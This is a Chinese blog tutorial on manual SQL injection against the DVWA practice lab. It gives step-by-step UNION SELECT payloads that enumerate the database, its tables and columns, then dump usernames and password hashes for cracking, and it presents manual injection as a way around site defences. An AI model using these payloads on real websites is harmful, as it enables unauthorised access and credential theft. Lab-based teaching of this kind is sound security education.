手工注入完成SQL注入漏洞
上次说到工具注入的天花板,burpsuite和sqlmap联动注入SQL漏洞。
用burpsuite和sql联动工具注入漏洞_mammal7的博客-CSDN博客
但是工具注入并不是万能的,并且,只使用工具注入的话,会被称为“脚本小子”,当然这是一个贬义词。 工具注入的缺点还是很多的,例如:大部分目标网站会开启安全设备,会禁ping,禁扫描,封ip等。网站都进不去就别提注入了。
那么,手工注入就是我们的必要手段。可以避开抓包等繁琐的中间过程,直接注入漏洞。
首先,我们要了解SQL注入漏洞是对网站的数据库进行读取。那么就要针对网站的数据库写相应的语句。(以获取dvwa靶场中,admin,password为例)
主要步骤如下:
1.找交互点
启动phpstudy,保证Apache和Mysql处于绿灯状态。打开firefox浏览器,输入127.0.0,1/dvwa.master,进入dvwa靶场。
进入DVWA Security,将安全等级改为low等级。
在SQL injection的左下角检查安全等级是否为low。
在User ID中输入1,观察url的回显结果。
发现?id=1请求,说明这是一个交互点。
2.找注入点
User ID 或者顶部栏中,1后面加一个',观察回显结果。
页面显示error,在1后,说明id=1是一个注入点。
3.判断类型(int 类型,char 类型)
两个类型决定了后续语句的写法,至关重要。
输入语句1 and 1=1(这个结果为真)
输入语句1 and 1=2(这个结果为假)
分别观察两个网页的回显结果。发现这两个url的回显结果是一样的。判断出注入类型为char类型。那么后续的所有手工注入语句要在int类型的基础上,输入‘闭合 #注释。
4.判断列数(order by 语句)
输入语句:1'order by **# (由于不知道列数,采用二分法可大大提高效率)
输入语句1' order by 1#,观察回显结果。
发现页面正常显示,说明存在一个列。
接着输入语句1' order by 10#,观察回显结果。
这里显示不存在,说明列数没有10个,用二分法查找order by 5。
这里依然显示不存在,说明列数没有5个。以此类推,用二分法继续查找,直到页面正常显示。
在用二分法反复尝试后,发现3列不存在,2列正常显示,说明网站存在2个列。
5.看回显位置(union select)
用联合查找语句获取对应列的位置,观察回显结果。
输入语句:1' and 1=2 union select 1,2#
and 1=2:防止原网站显示,对信息的获取产生干扰,令原网站为假。
发现两个列对应位置。猜测admin 和 password在2列中。
6.读取数据库的名称(database())
输入语句:1' and 1=2 union select 1,database()# 观察回显结果。
读取到surname中数据库名称为dvwa,那接下去就好办了,数据表,数据列,读取数据逐个击破。
7.读取数据表的名称 (table_name)
输入语句:1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='dvwa'# 观察回显结果。
Information_schema:数据库名,所有网站的数据库都在里面,tables是其中的一张表(存储着所有网站的数据表名称),用.来列出。
table_shcema=’dvwa’表示获取table_schema数据库中dvwa的数据表名,也就是我们要的。
获取到两个表名,guestbook和users。猜测admin 和 password在users中。
8.读取数据列的名称(column_name)
语句与table_name 类似。输入语句:1' and 1=2 union select 1,column_name from information_schema.columns where table_name='users'# 观察回显结果。
可以查到对应列的名称。猜测admin 和 password在user 和 password列中。
9. 读取数据 (concat)
最后一步当然是读取数据啦。输入语句:1' and 1=2 union select 1,concat(user,password) from users#
concat:连接两个要查找的列。
这里会看到一长串数字和字母,无法判断admin和password。这里可以在concat中加一个字符隔开。例如(user,' ',password),这样就能很清楚的区分admin和password啦。
将读到的数据用md5解密后,就可以获取到明文的账号密码了。怎么样,手工注入SQL漏洞是不是很酷呢!
另外声明一下,这个靶场是char类型的,如果判断出是int类型的话,只需将语句中' 和# 删除,其他语句一摸一样。
手工注入完成SQL注入漏洞相关推荐
- 【SQL注入】 sql注入中的union和limt关键字的使用解析
[SQL注入] sql注入中的union和limt关键字的使用解析 我将用测试靶场做演示,拿下网站数据库来向你展示sql注入全过程和思路 一.首先要找到注入点 [http://rhiq8003.ia. ...
- 【SQL注入】SQL注入基本流程
[SQL注入]SQL注入基本流程 摘要 一次简单的SQL注入靶场实践,两个实验环境,分别为有显示位和没有显示位,采用联合注入和布尔型注入的方法,分别通过手注和sqlmap工具的方式进行注入,最终获得数 ...
- (41.1)【JWT-KID漏洞】KID之目录遍历、命令注入、SQL注入
目录 一.密钥泄露 二.KID 2.1.原理: 2.2.示例: 三.目录遍历 3.1.原理: 3.2.KID之目录遍历 3.2.1.前提: 3.2.2.利用: 3.2.3.示例: 3.2.4.利用: ...
- 5-2从一个数字型注入认识sql注入漏洞
目录 SQL Inject 漏洞-注入点类型-数字类型判断 演示:pikachu-SQL-Inject-数字型注入 SQL Inject 漏洞-注入点类型-数字类型判断 我们切换到pikachu的平台 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- SQL注入:SQL注入类型(手动)SQL注入的检测
一.SQL注入流程 1.判断是否有SQL注入漏洞(检测) 2.判断操作系统.数据库和web应用类型 3.获取数据库信息,包括管理员信息及拖库 4.加密信息破解,sqlmap可自动破解 5.提升权限,获 ...
- 常见基础注入类型-SQL注入-web安全
下面还是以sql-labs漏洞测试平台来介绍下其他的常见注入,在之后我们会找一些在线靶场来检验下效果如何. 1.时间盲注 MySQL基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页 ...
- mysql注入ctf_CTF SQL注入
一.宽字节注入 原理:GBK编码.URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围) 例如:' -> ...
- Mysql的sql注入_MySQL SQL注入
如果通过网页需要用户输入一些数据信息,并将其插入到MySQL数据库,这是一个引入SQL注入安全问题的机会.这一节将学习如何防止这种情况的发生,并帮助保护脚本和MySQL语句. 通常注入是在当要求用户输 ...
最新文章
- MAT之SVM:SVM之分类预测根据已有大量数据集案例,输入已有病例的特征向量实现乳腺癌诊断高准确率预测
- Maven教程初级篇01: 简介
- PMP之项目资源管理---管理风格
- nginx_反向代理
- flask-01-http通信的回顾
- Python字符串isdecimal()
- 乐玩自动化测试模块_深圳大数据测试培训推荐班
- 解析JDK 7的Garbage-First收集器
- 使用Xcode打包上传APP
- 审批工作流及数据库设计
- 长文图解工业HART总线协议
- PS换照片底色(三种方式)
- win10计算机 需要新应用,win10 计算器提示:需要新应用打开此calculator
- 郑大计算机专业英语01章,郑州大学远程教育《大学英语II》第01章在线测试
- 如何使用Windows Identity Foundation(WTF)实现单点登录
- 商场楼层地图怎么制作,高效、便捷的商场二三维地图绘制平台
- 戴尔服务器安装系统出现蓝屏重启,服务器安装系统蓝屏原因_dell服务器安装系统设计.docx...
- HTML5期末大作业:XXX 网站设计——指环王:护戒使者(13页) HTML+CSS+JavaScript HTML+CSS+JS网页设计期末课程大作业 web前端开发技术 web课程设计 网页规
- oracle时间戳表达式,Oracle Timestamp类型
- 中国联通WCDMA网编号计划和频率及扰码规划